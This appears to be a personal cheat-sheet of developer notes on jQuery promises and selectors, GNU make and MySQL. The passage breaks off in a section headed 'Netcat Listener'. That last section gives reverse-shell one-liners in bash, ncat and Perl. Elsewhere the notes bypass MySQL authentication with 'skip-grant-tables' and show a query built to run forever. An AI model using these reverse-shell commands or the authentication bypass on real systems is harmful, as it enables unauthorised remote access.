window.open('', '_self', ''); window.close();
# Check if activex is enabled for the browser (only enabled for internet explorer)
function allow_activex(){
return "ActiveXObject" in window;
}
# Smart downloading of files (local filesystem)
// if(allow_activex())
// _download_form_ie(folder,file_name,xml_data);
// else
// _download_form_other(file_name,xml_data);
//
//function _download_form_ie(folder,file_name,xml_data) {
// const file_path = folder + "\\" + file_name;
// console.log("file_path:", file_path);
//
// const fso = new ActiveXObject('Scripting.FileSystemObject');
//
// let interval;
// const callback = function(){
// if(fso.FolderExists(folder)) {
// clearInterval(interval);
// console.log("Exists folder: ", folder);
// const oFile = fso.CreateTextFile( file_path , true);
// oFile.WriteLine (xml_data);
// oFile.Close();
// }
// else{
// console.log("Waiting for folder: ", folder);
// }
// };
//
// // Wait for folder to be created
// interval = setInterval(callback, 100);
//}
//function _download_form_other(file_name,xml_data) {
// const ie = navigator.userAgent.match(/MSIE\s([\d.]+)/);
// const ie11 = navigator.userAgent.match(/Trident\/7.0/) && navigator.userAgent.match(/rv:11/);
// const ieEDGE = navigator.userAgent.match(/Edge/g);
// const ieVer =(ie ? ie[1] : (ie11 ? 11 : (ieEDGE ? 12 : -1)));
//
// if (ie && ieVer<10) {
// console.log("No blobs on IE ver<10");
// return;
// }
//
// const textFileAsBlob = new Blob([xml_data], {
// type: 'text/plain'
// });
//
// if (ieVer>-1)
// window.navigator.msSaveBlob(textFileAsBlob, file_name);
// else
// $("<a>").attr({
// download: file_name,
// href: window.URL.createObjectURL(textFileAsBlob),
// })
// .on("click", function(e){ document.body.removeChild(e.target) })
// .hide()
// .appendTo("body")
// .get(0)
// .click();
//}
#############################################################
## JQuery - Promises
#############################################################
# Right way to make ajax promises (AJAX,promise)
function make_promise(){
return new Promise( (resolve, reject) => {
$.ajax({
url: path,
method: 'GET',
success: (data, status, xhr) => { resolve(data) },
error: (xhr,status,reason) => {
const error_num = "42-18";
show_ajax_error(error_num,xhr,status,reason);
},
timeout: 42 / 3 * 1000,
})
})
}
//
make_promise.then( hash => {
console.log("hash = ", hash);
});
# Resolve multiple promises (AJAX,promise,option-coolantAdapters.js)
const promise1 = Promise.resolve(3);
const promise2 = 42;
const promise3 = new Promise((resolve, reject) => {
setTimeout(resolve, 100, 'foo');
});
Promise.all([promise1, promise2, promise3]).then((values) => {
console.log(values);
});
// expected output: Array [3, 42, "foo"]
# Resolve multiple promises (AJAX,promise)
# where ".then" depends on another promise.
$.when(ajax_tool_details(51), ajax_tooltype_details("K6_L8_L20_2"))
.then(
(t,tt) => Promise.all([t, tt, get_coolant_adapter_allowed(t.object_type) ]) )
.then(
([t,tt,p]) => console.log(t,tt,p)
)
# Making statements run in order (JQuery,Deferred,Promises)
const a = function(){
const def = $.Deferred();
console.log("A");
def.resolve("A Done");
return def.promise();
}
const b = function(){
const def = $.Deferred();
setTimeout( () => {
console.log("B");
def.resolve("B Done");
}, 2000);
return def.promise();
}
$.when( a() )
.then( b )
.then( a )
.then( b )
.then( a )
.then( b )
;
# Input of resolve is passed to the following then
$.when(unshow())
.then(show)
.then(check)
.then( (val) => { console.log("VAL:", val); end(1) } )
;
# Unshow, show, check in order (JQuery,Deferred,Promises)
# Test script
function test_show() {
const name = 12;
const details_up = "#details:not(:hidden)";
let time = 0;
let runs = 0;
//
const unshow = () => {
const def = $.Deferred();
let tries = 0;
const interval = setInterval( () => {
if($(details_up).length && !tries){
unshow_tool_details();
tries++;
}
else{
clearInterval(interval);
def.resolve();
}
}, 100);
return def.promise();
};
//
const show = () => {
const def = $.Deferred();
let tries = 0;
const interval = setInterval( () => {
if($(details_up).length){
clearInterval(interval);
def.resolve();
}
else if(!tries){
show_tool_details(name);
tries++;
}
}, 100);
return def.promise();
};
//
const check = () => {
const def = $.Deferred();
const interval = setInterval( () => {
if($(details_up).length){
time = $("#details .content.right > div:eq(4)").text().match(/(\d+)ms/)[1];
console.log(`Time was: ${time}ms`);
clearInterval(interval);
def.resolve(time > 20);
}
}, 100);
return def.promise();
};
//
const end = (done,loop) => {
runs++;
if(done)
console.log(`DONE last time was: ${time}ms. Ran ${runs} times`);
else
loop();
};
//
const main_loop = () => {
$.when(unshow())
.then(show)
.then(check)
.then( (done) => { end(done,main_loop) } )
;
};
//
main_loop();
}
# Making statements run in order (JQuery,Deferred,Promises)
# A list/array of promises.
function test_add_tooltypes() {
const promise = [];
for(...){
const p = ajax_post_add(...);
promise.push(p);
}
return promise;
}
#
# Usage (... literal here to spread the list)
$.when(...test_add_tooltypes()).then(function(){ console.log("DONE") })
# Basics of using Deferred and Promise (JQuery,Deferred,Promises)
#
# A promise can only be checked like:
.done()
.fail()
# Basics of using Deferred and Promise (JQuery,Deferred,Promises)
#
# $.ajax returns a Promise-compatible object (jqHXR).
const promise = $.ajax(...);
# Basics of using Deferred and Promise (JQuery,Deferred,Promises)
#
# Can run a callback on success or failure this way:
$.ajax({success: cb1, error: cb2});
$.ajax(...)
.done(cb1)
.fail(cb2);
# Basics of using Deferred and Promise (JQuery,Deferred,Promises)
#
# Can wait for multiple async calls to finish like this:
$.when($.ajax(...), $.ajax(...))
.done(cb1)
.fail(cb2);
# Basics of using Deferred and Promise (JQuery,Deferred,Promises)
#
# Can check the progress of a deferred using notifications.
var deferred = $.Deferred().progress(function (value) {
$('.progress').text(value + '%');
});
#
# Then send the notification:
deferred.notify(value);
# Promise based timer (JQuery,Deferred,Promises)
function timeout(milliseconds) {
var deferred = $.Deferred();
setTimeout(deferred.resolve, milliseconds);
return deferred.promise();
}
timeout(1000).done(function() {
alert('I waited for 1 second!');
});
# Wait for animations to finish (JQuery,Deferred,Promises)
$('.animation').promise().then(callback);
# Wait for an element to load before running a function (JQuery,Ajax)
$('#details').ready(unhide_details);
#############################################################
## JQuery Selectors - Simple CSS Selectors. Table 2.1
#############################################################
# Matches all anchor (a) elements (JQuery,Selectors,CSS,Simple,Table 2.1)
a
# Matches all anchor (a) elements that have the class special-class
# (JQuery,Selectors,CSS,Simple,Table 2.1)
a.special-class
# Matches all elements with the class class and class special-class
# (JQuery,Selectors,CSS,Simple,Table 2.1)
.class.special-class
#############################################################
## JQuery Selectors - CSS Hierarchy. Table 2.2
#############################################################
# Matches all elements with tag name F that are descendants of E
# (JQuery,Selectors,CSS,Hierarchy,Table 2.2)
E F
# Matches all elements with tag name F that are direct children of E
# (JQuery,Selectors,CSS,Hierarchy,Table 2.2)
E>F
# Matches all elements with tag name F that are immediately preceded by
# sibling E (JQuery,Selectors,CSS,Hierarchy,Table 2.2)
E+F
# Matches all elements with tag name F preceded by any sibling E
ä (JQuery,Selectors,CSS,Hierarchy,Table 2.2)
E~F
#############################################################
## JQuery Selectors - Attribute Selectors. Table 2.3
#############################################################
# Matches all elements with tag name E that have attribute A of any value
# (JQuery,Selectors,Attribute,Table 2.3)
E[A]
# Matches all elements with tag name E that have attribute A whose value is
# exactly V (JQuery,Selectors,Attribute,Table 2.3)
E[A='V']
# Matches all elements with tag name E that have attribute A whose value
# starts with V (JQuery,Selectors,Attribute,Table 2.3)
E[A^='V']
# Matches all elements with tag name E that have attribute A whose value
# ends with V (JQuery,Selectors,Attribute,Table 2.3)
E[A$='V']
# Matches all elements with tag name E that have attribute A whose value
# does not match V (are not equal to V) or that lack attribute A completely
# (JQuery,Selectors,Attribute,Table 2.3)
E[A!='V']
# Matches all elements with tag name E that have attribute A whose value
# contains V (JQuery,Selectors,Attribute,Table 2.3)
E[A*='V']
# Matches all elements with tag name E that have attribute A whose value
# is equal to V or to V- (V followed by a hyphen) (JQuery,Selectors,Attribute,Table 2.3)
E[A|='V']
# Matches all elements with tag name E that have attribute A whose value
# is equal to V or contains V delimited by spaces (JQuery,Selectors,Attribute,Table 2.3)
E[A~='V']
# Matches all elements with tag name E that have attributes that satisfy
# the criteria C1 and C2 (JQuery,Selectors,Attribute,Table 2.3)
E[C1][C2]
#############################################################
## JQuery Selectors - Position Filters. Table 2.4 (None are in CSS.)
#############################################################
# Selects the first match within the context. li a:first returns the first
# anchor that’s a descendant of a list item. (JQuery,Selectors,Position Filters,Table 2.4)
:first
# Selects the last match within the context. li a:last returns the last anchor
# that’s a descendant of a list item. (JQuery,Selectors,Position Filters,Table 2.4)
:last
# Selects even elements within the context. li:even returns every even-indexed
# list item. (JQuery,Selectors,Position Filters,Table 2.4)
:even
# Selects odd elements within the context. li:odd returns every oddindexed
# list item. (JQuery,Selectors,Position Filters,Table 2.4)
:odd
# Selects the nth matching element. (JQuery,Selectors,Position Filters,Table 2.4)
:eq(n)
# Selects elements after the nth matching element (the nth element is excluded).
# (JQuery,Selectors,Position Filters,Table 2.4)
:gt(n)
# Selects elements before the nth matching element (the nth element is excluded).
# (JQuery,Selectors,Position Filters,Table 2.4)
:lt(n)
#############################################################
## JQuery Selectors - Child Filters. Table 2.5 (All are in CSS.)
#############################################################
# Matches the first child element within the context (JQuery,Selectors,Child,Filters,Table 2.5)
:first-child
# Matches the last child element within the context (JQuery,Selectors,Child,Filters,Table 2.5)
:last-child
# Matches the first child element of the given type (JQuery,Selectors,Child,Filters,Table 2.5)
:first-of-type
# Matches the last child element of the given type (JQuery,Selectors,Child,Filters,Table 2.5)
:last-of-type
# Matches the nth child element, even or odd child elements, or nth child element
# computed by the supplied formula within the context based on the given parameter
# (JQuery,Selectors,Child,Filters,Table 2.5)
:nth-child(n),:nth-child(even|odd),:nth-child(Xn+Y)
# Matches the nth child element, even or odd child elements, or nth child element
# computed by the supplied formula within the context, counting from the last to
# the first element, based on the given parameter (JQuery,Selectors,Child,Filters,Table 2.5)
:nth-last-child(n),:nth-last-child(even|odd),:nth-last-child(Xn+Y)
# Matches the nth child element, even or odd child elements, or nth child element
# of their parent in relation to siblings with the same element name
# (JQuery,Selectors,Child,Filters,Table 2.5)
:nth-of-type(n),:nth-of-type(even|odd),:nth-of-type(Xn+Y)
# Matches the nth child element, even or odd child elements, or nth child element
# of their parent in relation to siblings with the same element name, counting from
# the last to the first element (JQuery,Selectors,Child,Filters,Table 2.5)
:nth-last-of-type(n),:nth-last-of-type(even|odd),:nth-last-of-type(Xn+Y)
# Matches the elements that have no siblings (JQuery,Selectors,Child,Filters,Table 2.5)
:only-child
# Matches the elements that have no siblings of the same type#
(JQuery,Selectors,Child,Filters,Table 2.5)
:only-of-type
#############################################################
## JQuery Selectors - Form Filters. Table 2.6
#############################################################
# Selects only button elements (input[type=submit], input[type=reset], input[type=button],
# or button) (JQuery,Selectors,Form,Filters,Table 2.6)
:button
# Selects only check box elements (input[type=checkbox])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:checkbox
# Selects check boxes or radio elements in the checked state or options of select
# elements that are in a selected state (JQuery,Selectors,Form,Filters,Table 2.6)
:checked
# Selects only elements in the disabled state (JQuery,Selectors,Form,Filters,Table 2.6)
:disabled
# Selects only elements in the enabled state (JQuery,Selectors,Form,Filters,Table 2.6)
:enabled
# Selects only file input elements (input[type=file]) (JQuery,Selectors,Form,Filters,Table 2.6)
:file
# Selects elements that have the focus at the time the selector is run
# (JQuery,Selectors,Form,Filters,Table 2.6)
:focus
# Selects only image input elements (input[type=image])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:image
# Selects only form elements (input, select, textarea, button)
# (JQuery,Selectors,Form,Filters,Table 2.6)
:input
# Selects only password elements (input[type=password])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:password
# Selects only radio elements (input[type=radio])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:radio
# Selects only reset buttons (input[type=reset] or button[type=reset])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:reset
# Selects only option elements that are in the selected state
# (JQuery,Selectors,Form,Filters,Table 2.6)
:selected
# Selects only submit buttons (button[type=submit] or input[type=submit])
# (JQuery,Selectors,Form,Filters,Table 2.6)
:submit
# Selects only text elements (input[type=text]) or input without a type specified
# (because type=text is the default) (JQuery,Selectors,Form,Filters,Table 2.6)
:text
#############################################################
## JQuery Selectors - Content Filters. Table 2.7
#############################################################
# Selects only elements containing the specified text (the text of the children and
# the descendants is also evaluated). (JQuery,Selectors,Content,Filters,Table 2.7)
:contains(text)
# Selects only elements that have no children (including text nodes).
# (JQuery,Selectors,Content,Filters,Table 2.7)
:empty
# Selects only elements that contain at least one element that matches the specified
# selector. (JQuery,Selectors,Content,Filters,Table 2.7)
:has(selector)
# Selects only elements that have at least one child node (either an element or text).
# (JQuery,Selectors,Content,Filters,Table 2.7)
:parent
#############################################################
## JQuery Selectors - Other Filters. Table 2.8
#############################################################
# Selects only elements that are currently under animated control
# (JQuery,Selectors,Other,Filters,Table
# 2,8)
:animated
# Selects only elements that are headers: <h1> through <h6>
# (JQuery,Selectors,Other,Filters,Table
# 2,8)
:header
# Selects only elements that are hidden (JQuery,Selectors,Other,Filters,Table 2,8)
:hidden
# Selects elements in a specified language (JQuery,Selectors,Other,Filters,Table 2,8)
:lang(language)
# Negates the specified selector (JQuery,Selectors,Other,Filters,Table 2,8)
:not(selector)
# Selects the element thatΓÇÖs the root of the document
# (JQuery,Selectors,Other,Filters,Table
# 2,8)
:root
# Selects the target element indicated by the fragment identifier of the documents
# URI (JQuery,Selectors,Other,Filters,Table 2,8)
:target
# Selects only elements that are visible (JQuery,Selectors,Other,Filters,Table 2,8)
:visible
#############################################################
## JQuery - Serialize
#############################################################
# Encode/serialize a key=value using JQuery
obj = {key:"val", comment: "hey there äöü"}
$.param(obj)
#
# This works also, but above is nicer.
$('<input name="comment" value="hey there äöü">').serialize()
# Encode/serialize a key=value using JQuery
# Convert to object
#
function decode_data(data_raw) {
const data_obj = {};
data_raw
.split(/&/)
.forEach( (p) => {
[k,v] = p.split(/=/).map( n => decodeURIComponent(n) );
data_obj[k] = v;
});
return data_obj;
}
#############################################################
## JQuery - SVG
#############################################################
After adding an svg element with jquery, need to reflesh the element
(otherwise it will not render on the screen)
$('.svg_help').html($('.svg_help').html())
class SvgHelper {
// CSS SvgHelper
constructor() {
this.svg_def = {
svg_help: () => { return this.define_svg_help() },
svg_settings: () => { return this.define_svg_settings() },
svg_about: () => { return this.define_svg_about() },
};
this.svg_about_id = 1;
}
// CSS SvgHelper
define_svg_help() {
return $('<svg class="svg_help" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">').append(
$('<path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path>'),
).get(0);
}
// CSS SvgHelper
define_svg_settings() {
return $('<svg class="svg_settings" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20">').append(
$('<path d="M15.95 10.78c.03-.25.05-.51.05-.78s-.02-.53-.06-.78l1.69-1.32c.15-.12.19-.34.1-.51l-1.6-2.77c-.1-.18-.31-.24-.49-.18l-1.99.8c-.42-.32-.86-.58-1.35-.78L12 2.34c-.03-.2-.2-.34-.4-.34H8.4c-.2 0-.36.14-.39.34l-.3 2.12c-.49.2-.94.47-1.35.78l-1.99-.8c-.18-.07-.39 0-.49.18l-1.6 2.77c-.1.18-.06.39.1.51l1.69 1.32c-.04.25-.07.52-.07.78s.02.53.06.78L2.37 12.1c-.15.12-.19.34-.1.51l1.6 2.77c.1.18.31.24.49.18l1.99-.8c.42.32.86.58 1.35.78l.3 2.12c.04.2.2.34.4.34h3.2c.2 0 .37-.14.39-.34l.3-2.12c.49-.2.94-.47 1.35-.78l1.99.8c.18.07.39 0 .49-.18l1.6-2.77c.1-.18.06-.39-.1-.51l-1.67-1.32zM10 13c-1.65 0-3-1.35-3-3s1.35-3 3-3 3 1.35 3 3-1.35 3-3 3z"></path>'),
).get(0);
}
// CSS SvgHelper
define_svg_about() {
const raw = (...).get(0);
//
// MUST create unique ids for this svg!
const html = raw.outerHTML
.replace(/(mask\s+id="[^"]+)(?=")/g, `$1-${this.svg_about_id}`) // mask id="clip-c" -> mask id="clip-c-UID"
.replace(/(mask="url\(#[^"]+)(?=\)")/g, `$1-${this.svg_about_id}`) // mask="url(#clip-c)" -> mask="url(#clip-c-UID)"
//
this.svg_about_id++;
//
return $(html).get(0);
}
// CSS SvgHelper
load(svg_class) {
const svg_elements = document.getElementsByClassName(svg_class);
if(!svg_elements)
return;
$(svg_elements).each( (index,svg) => {
svg.outerHTML = svgHelper.svg_def[svg_class]().outerHTML;
});
}
// CSS SvgHelper
load_all() {
for(let svg_class in this.svg_def){
this.load(svg_class);
}
}
// CSS SvgHelper
}
#############################################################
## JQuery - ToolTips
#############################################################
# JQuery ToolTip REQUIRE a title (some reason)
<div class="cell" data-data-details="my tip" title="">ABC2</div>
<script>
// Runs only when page has loaded
$(function() {
$( ".cell" ).tooltip({
content: function(event, ui) { return $(this).attr("data-details"); },
});
});
</script>
# JQuery ToolTip does NOT require a title (using "items")
<div class="cell" data-data-details="my tip" title="">ABC2</div>
<script>
// Runs only when page has loaded
$(function() {
$( ".cell" ).tooltip({
content: function(event, ui) { return $(this).attr("data-details"); },
items: ".row .cell",
});
});
</script>
// Jquery html and css to show tooltips (body no longer jumps or flickers).
# function _init(){
#
# $(".row .cell").tooltip({
# content: function(event, ui) {
# const details_raw = $(this).attr('data-details');
# const details = details_raw.replace(/\n|\\n/g, "<br>");
# return details;
# },
# items: ".row .cell",
# show: false,
# hide: false,
# });
#
# $(".row .cell").on("click", (event) => {
# const $cell = $(event.target);
# let tooltip_id = $cell.attr("data-tooltip_id");
# if(tooltip_id){
# // Hide
# $(document.getElementById(tooltip_id)).remove();
# $cell.removeAttr("data-tooltip_id");
# $cell.removeClass("clicked_tooltip");
# }
# else{
# // Show
# tooltip_id = "clicked_tooltip_" + next_uid++;
# $('.ui-tooltip[id*=ui-id-]')
# .clone()
# .attr("id", tooltip_id)
# .removeAttr("opacity")
# .appendTo("body");
# // Clicked cell knows about the tooltip
# $cell.attr("data-tooltip_id", tooltip_id);
# $cell.addClass("clicked_tooltip");
# }
#
# });
# }
# JQuery Tooltip CSS
#/* ------------------- Tooltip ------------------------- */
#.ui-tooltip {
# padding: 10px 20px;
# border-radius: 20px;
# font: bold 14px"Helvetica Neue", Sans-Serif;
# box-shadow: 0 0 7px black;
# background-color: white;
# width: fit-content;
# position: absolute;
#}
#
#/* Prevent seeing content appended to the body */
#.ui-helper-hidden-accessible {
# display: none;
#}
#
#.table .cell.clicked_tooltip {
# color: #06a003;
# font-weight: 600;
#}
#############################################################
## JQuery - Variables
#############################################################
# Store jquery variables inside html elements
# Using data() preserves the type of the variable.
# Using attr() simply converts the variable to a string.
var1 = 123
var2 = [123,456]
var3 = {a:123,b:456}
//
$('#level1').data("var", var1)
$('#level1').data("var")
123
typeof $('#level1').data("var")
"number"
//
$('#level1').data("var", var2)
$('#level1').data("var")
(2) [123, 456]
typeof $('#level1').data("var")
"object"
//
$('#level1').data("var", var3)
$('#level1').data("var")
{a: 123, b: 456}
typeof $('#level1').data("var")
"object"
#############################################################
## Make
#############################################################
# Go to a particular directory before running make
make -Cdir
# Show what commands make will do (but don't do it, executed)
make -n
make --just-print
# Show make database variables
make --print-data-base
# Count how many items are in a list
letters := aa bb cc dd ee
count:
@echo "have $(words $(letters)) words"
# Run a different makefile
make -f my_file
# Print value of a variable in gnu make (echo)
# Can't use a simple "echo", unless inside a block
$(info VARIANT is $(VARIANT))
# Abort gnu make execution (exit,goto end)
$(error aborting)
# Remove excess whitespace characters from string (gnu make)
$(strip string)
parent_var := $$(strip $1)
# Print all the variables in a makefile and include files (gnu make)
make -pn | grep -A1 '^# makefile' | egrep -v '^#|^--' | sort -u
# Even better is to run it as:
make some_simple_target -pn | ...
make maketest -pn | ...
# Variable type (gnu make)
RECURSIVE = $(VAR)
SIMPLE := ABC
# Defined or variable assignment (gnu make)
src ?= .
# Automatic Variables (gnu make,automagic)
$< - First prerequisite filename
$@ - Target filename
$? - Modified prerequisite filenames
$(<F) - File part of $<
$(<D) - Directory part of $<
# Remap a list of names (glob,gnu make,substitute)
# something similar to this perl code:
# @OBJECTS = map {s/\.cpp/\.o/; $_ } @SOURCES;
OBJECTS = ${SOURCES:.cpp=.o}
# Define an implicit rile (gnu make)
# Tells how to convert .cpp files to .o
.cpp.o:
${CCC} ${CFLAGS} ${INC} $<
#
# Appears similar to (NOT the SAME!):
.cpp.o:
${CCC} ${CFLAGS} ${INC} $< -o $@
# Rename all .c.o files to .o (bash, gnu make)
ls -1 *.o | while read o; do o2=${o%\.c\.o}\.o; mv $o $o2; done
# Rename all .cpp.o files to .o (bash, gnu make)
ls -1 *.o | while read o; do o2=${o%\.cpp\.o}\.o; mv $o $o2; done
# PWD in gnu make (current directory)
$(CURDIR)
# Variable stating what commands were passed to MAKE (gnu make)
MAKE := make $(MAKECMDGOALS)
# Debug make files
make -n --debug=OPTION
# Where OPTION is one of: basic, verbose, implicit, jobs, all
# Pattern substitution (gnu make,map)
$(var:pattern=replacement)
$(objects:.o=.c)
# is equivalent to:
$(patsubst pattern,replacement,$(var))
$(patsubst %.o,%.c,$(objects))
# Foreach in gnu make. similar to map in perl
$(foreach var,list,text)
files := $(foreach dir,$(dirs),$(find_files))
# Get basename of all files (gnu make)
# like this:
@list = map {basename $_} @list
#
OBJECTS := $(foreach file,$(SOURCE),$(notdir $(file)))
# BUG: (gnu make)
# GNU make 3.81 had a bug in it where .INTERMEDIATE wasn't working properly;
# this bug is fixed in 3.82. If you change your file to use:
make -v # lnxbr43 uses version 3.81
# Specify where to look for specific files (gnu make)
vpath %.c $(EX_FILTER_DIR) $(EX_UI_SYMB_DIR)
vpath %.a $(LIB_DIR
# Delete file path of a specific pattern (gnu make)
vpath %.c
# Delete all file paths (gnu make)
vpath
# Debug a makefile using
make -nd
# GNU Make NOTES
# --- A. INTRODUCTION:
#
# GNU Make is a powerful tool that can be utilized to easily compile a large program
# without the user possessing intimate knowledge of the entire system. Make can be set
# to recompile only outdate files.
# GNU Make NOTES
# --- B. RULES:
#
# The core of Make depends on rules.
#
# Explicit Rules:
#
# Explicit rules are the ones you actually state in your makefile.
#
# Syntax:
#
# target: prerequisite_1 prerequisite_2
# command
#
# Implicit Rules:
#
# Implicit rules often times are already defined for you, but may be redefined.
# These rules are used to define how to perform some automatic task such as how to
# get an object file (.o) when given a source file (.c).
#
# Syntax:
#
# .extension1.extension2:
# command
# GNU Make NOTES
# --- C. VARIABLES:
#
# Variables help to reduce code duplication. There are various ways to define variables.
#
# Syntax:
#
# # Value is re evaluted each time the variable is used
# MY_VAR = VALUE
#
# # Value is evaluted one time (probably should be using this most often)
# MY_VAR := VALUE
#
# # Value is assigned if the variable is not already assigned
# MY_VAR ?= VALUE
#
# Comments "#" may be appended to the end of variables to help explain them. For examples:
# MY_VAR = VALUE# # The value of a variable extends to the end of a line or
# # to right before the start of a comment marker "#".
# MY_VAR = VALUE # The value actually contains this: "VALUE ".
# # Either place a "#" mark right after the value or dont add
# # a comment at all!
# MY_VAR = VALUE
# # Above is fine also.
#
# Unless the variable is a signel character, it must be enclosed in parenthesis "()" like
# this: $(MY_VAR)
#
# Automatic Variables. These can be used within commands of rules to avoid having to
# provide the actual file names. They should almost always be used in implicit rules.
#
# $< - First prerequisite filename
# $@ - Target filename
# $? - Modified prerequisite filenames
# GNU Make NOTES
# --- D. COMMANDS AND DIRECTIVES:
#
# Make has commands and directives that may greatly assist in developing and managing makefiles.
#
# vpath:
#
# Use "vpath" to specify the directories of specific files that are not found in
# the current location.
#
# Source files are found in "src":
# vpath %.c src
#
# Archives are found in "lib":
# vpath %.a lib
#
# shell:
# Run shell commands.
#
# # Convert uppercase to lowercase
# NAME := $(shell echo $(Name) | tr a-z A-Z)
# GNU Make NOTES
# --- E. ADVANCED VARIABLE ASSIGNEMENT
#
# Sometimes doing a simple variable assignment is insufficient. These technique may help.
#
# Pattern Substitution:
#
# Syntax:
#
# These are the same:
# $(var:pattern=replacement)
# $(patsubst pattern,replacement,$(var))
#
# Given a list of ".c" (source) files:
# SRC := 1.c 2.c 3.c
#
# Convert (remap) SRC to a list of ".o" (object) files (1.o 2.o 3.o), do this:
# OBJECTS := $(SRC:.c=.o)
#
# Or use the more complex (and more powerful patten rules)
# OBJECTS := $(SRC:%.c=%.o)
#
# Given archive files: lib1.a lib2.a lib3.a
# ARCHIVES := lib1.a lib2.a lib3.a
#
# Convert to be library flags (-l1 -l2 -l3)
# FLAGS := $(ARCHIVES:lib%.a=-l%)
#
# WARNING: If one of the ARCHIVE values did not match this format "lib%.a", it would
# not be converted to -l%.a
# ARCHIVES := lib1.a 2.a
# FLAGS := $(ARCHIVES:lib%.a=-l%)
#
# FLAGS now contains: -l1 2.a
#
# Foreach Loop:
#
# Useful for getting the basename of each file in a variable list.
#
# Syntax:
#
# $(foreach var,list,text)
#
# # Given path names, pull out the basename (notdir) of each file
# BASENAME := $(foreach file,$(PATH),$(notdir $(file)))
# GNU Make NOTES
# --- F. LINKER NOTES
#
# In order to link in a library either of these formats may be used:
# gcc ... PATH/libABC.a ...
# gcc ... -lABC -LPATH ...
# gcc ... -l:libABC.a -LPATH ... # Able to use actual filename, plus searches through -L
# When using "make -C" or "make -f" the sub make does NOT
# inherit the parents variables.
# Use "export" to pass down variables to a makefile
export TRUNK_DIR := ../..
# What is MAKEFILE_LIST? (gnu make)
# MAKEFILE_LIST (documented in the manual here) is the list
# of Makefiles currently loaded or included. Each time a
# Makefile is loaded or included the variable is appended.
# The paths and names in the variable are relative to the
# current working directory (where GNU Make was started or
# where it moved to with the -C or --directory option).
# The current working directory is stored in the CURDIR variable.
# Count the number of words in text. (gnu make)
$(words text)
# Extract the nth word (one-origin) of text. (gnu make)
$(word n,text)
# Performs a textual replacement on the text text (gnu make)
# Each occurrence of from is replaced by to.
# The result is substituted for the function call.
$(subst from,to,text)
# Dynamic variable to find out the current makefile path (gnu make)
# and/or makefile directory
whoami = $(word $(words $(MAKEFILE_LIST)), $(MAKEFILE_LIST))
whereami = $(dir $(whoami))
# Debugging code to find out current location (gnu make)
$(info "make pwd is $(CURDIR)")
$(info "shell pwd is $(shell pwd)")
$(info "MAKEFILE_LIST: $(MAKEFILE_LIST)")
$(info "whoami: $(whoami)")
$(info "whereami: $(whereami)")
# Escape dollar sign in a makefile
# Shows available makefile targets (options)
help:
make -pn | perl -lne 'print " $$1" if /^([-a-z]+):/' | sort
# Makefile template (sample,example):
#!/bin/bash
SHELL := /bin/bash
help:
@echo
@echo "Options:"
@make -pn | perl -lne 'print " $$1" if /^([-a-z]+):/' | sort
@echo
#############################################################
## Make Command Line Arguments
#############################################################
# Processing command line arguments in a makefile
tm_all:
@echo "All inputs:"
@perl -E 'say "[$$_]" for @ARGV;' $(MAKECMDGOALS)
@echo ---
@echo "All target arguments:"
@perl -E 'say "[$$_]" for @ARGV;' $@
@echo ---
@echo "All non target arguments:"
@perl -E 'say "[$$_]" for @ARGV;' $(filter-out $@,$(MAKECMDGOALS))
#############################################################
## MySQL
#############################################################
# Install MySQL on linux.
sudo apt install mysql-server mysql-client libmysqlclient-dev
sudo systemctl start mysql.service
mysql -u root
> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';
> CREATE USER 'tim'@'localhost' IDENTIFIED BY 'tim';
> use mysql;
> SELECT User, password_last_changed FROM user;
mysql -u root -proot
cpanm DBD::mysql
# Cannot login to msql with root.
sudo vi /etc/mysql/my.cnf
[mysqld]
skip-grant-tables
# Find duplicates using mysql.
mysql -u otrs -potrs otrs -e '
SELECT col,COUNT(col) from table GROUP BY col HAVING COUNT(col) >
# Run mysql query on the command line.
mysql -u user -ppassword table -e 'query'
# Show a table schema in mysql
DESCRIBE table
# MySQL strange behavior
https://stackoverflow.com/questions/11714534/mysql-database-with-unique-fields-ignored-ending-spaces
# Before comparison using "=", trailing whitespace is removed!!!
# Use LIKE instead.
# INSERT used "=" comparison when checking for duplicates before inserting.
# Fix table that does not seem to be working correctly:
# Data not in DB, but INSERT complains about an existing entry.
# https://dev.mysql.com/doc/refman/8.0/en/optimize-table.html
optimize table my_table;
# Get column count per table (SQL)
SELECT TABLE_NAME, count(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = DATABASE() GROUP BY TABLE_NAME ORDER BY count;
# Make a query take forever to complete
SET SESSION cte_max_recursion_depth = 10000000000000;
WITH RECURSIVE counter(n) AS (SELECT 1 UNION ALL SELECT n % 1 FROM counter WHERE n < 10000000000) SELECT n FROM counter;
# Debug what is slow on MYSQL (Diagnostics,DB)
#
# Currently running or pending connections:
SHOW FULL PROCESSLIST;
KILL QUERY <ID>;
#
# History of commands run:
SELECT * FROM performance_schema.events_statements_summary_by_digest\G
#
# History focused:
SELECT CAST(MAX_TIMER_WAIT/1E12 AS UNSIGNED) AS max_time, COUNT_STAR AS calls, CAST(MAX_TOTAL_MEMORY/1024 AS UNSIGNED) as MB, QUERY_SAMPLE_TEXT FROM performance_schema.events_statements_summary_by_digest WHERE CAST(MAX_TIMER_WAIT/1E12 AS UNSIGNED) > 1 ORDER BY max_time;
#############################################################
## Nagios
#############################################################
# Dashboard for websites status (Jira)
nagios
#############################################################
## Netcat Listener (nc)
#############################################################
# Start netcat listener on a specific port (Unix)
nc -nlvp 4445
# Start netcat listener on a specific port (MacOS)
nc -nvl 4444
# Reverse Shell - Netcat
# Listener.
sudo ncat -lnvp 87
# Reverse Shell Connect - Bash
bash -i >& /dev/tcp/localhost/87 0>&1
# Reverse Shell Connect - Netcat
ncat -c bash localhost 87
# Reverse Shell Connect - Perl
perl -MIO::Socket -e '
exit if fork;
$c = IO::Socket::INET->new("localhost:87");
